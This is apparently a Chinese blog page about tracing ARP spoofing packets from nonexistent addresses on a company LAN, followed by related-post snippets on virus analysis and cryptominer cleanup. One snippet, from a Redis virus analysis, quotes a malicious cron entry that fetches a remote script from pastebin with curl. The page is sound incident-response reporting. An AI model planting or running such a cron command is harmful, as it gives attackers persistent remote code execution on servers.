记一次排查局网内的ARP包 “不存在的” MAC 地址及 “不存在的”IP 所发的ARP包
Xarp工具（高级ARP欺骗检测工具）。 = 。=之前做实验发现的一个工具，自己感觉用起来还不错。突然 ...
原文：一次ARP病毒排查
XX公司网络卡断问题 . 问题现象 年XX公司机关网络出现几次异常情况，并寻求内外部专家对异常情况进行诊断分析，均未找到原因，具体情况如下： .XX分公司机关网络IP地址为 . . . . . . ，上半年约有 台电脑出现不能上网现象，但是修改IP地址后可正常使用，约三四天后还需再修改IP地址才能正常使用，该现象大约持续 个月左右。 . 月中旬，有一台电脑突然出现断网现象，经过修改IP地址后可以正 ...
2018-01-18 09:04 0 2984 推荐指数：
相关推荐
ARP的一次请求与应答
ARP： 我们知道，网络层和网络层以上使用的是IP地址，但在实际网络的链路上传送数据帧时，数据包首先是被网卡接受到再去处理上层协议的，所以最终还是必须使用该网络的硬件地址。但IP地址和下面的网络的硬件地址之间由于格式不同而不存在简单的映射关系 ...
一次病毒分析之旅
0x00 前言 这个病毒应该是比较简单的，别人给我的样本，让我帮忙看看，看样子是很早的一个病毒，针对Windows XP系统的，行为分析很简单，但是想着不能就仅仅分析关键点，要不就把整个结构给逆向出来，弄了两天，搞的差不多了，简单的记录一下。 0x01 基本介绍 整个病毒是4个文件组成 ...
记录一次问题排查
1. 问题描述：早上刚来上班，业务部门同事反应管理后台无法登录 2. 问题排查定位 2.1 服务器排查 a. 接口是否可以调通：首先自己登陆后台，发现时好时坏，偶尔接口返回【系统忙】。我们系统接口异常调不通会返回系统忙 b. 服务是否死掉或者假死：连接服务器->查看Java ...
关于页面502的一次排查
一、场景： 系统 Deepin 15；php 5.5.33；nginx 1.9.9 二、状况： 简单的页面输出正常（比如 phpinfo();），跑公司的任何一个项目，均502 三、排查 1、查询各种日志，包括 nginx.error.log、php_error.log ...
记一次redis病毒分析笔记
起因 偶然间发现redis里有一个陌生key：tightsoft，它的值是：*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb ...
一次应急病毒清除记录
概述： 9.4号临时接到通知让一个人去应急，第一次应急，比较虚，到客户那里了解了一下情况。主要现象是流量异常，CPU占用过高。 发现连接数超多-17779，然后在试图连接其他主机的22端口 发现异常进程，当初进行杀死之后，从九点到晚上十点cpu都是正常的，然后上午通过查看日志last ...
记录一次清理挖矿病毒
背景 新接手了个环境，同事交接时说这些机器中过挖矿病毒还没重装，我TM。。。 线上环境不好动，只能手动查杀了。 操作系统如下： 过程 ssh上去，ps -ef看到如下： 手动kill掉进程，很快会生成新的，猜测有守护进程。用STOP信号让它停止。 查看定时任务清理 ...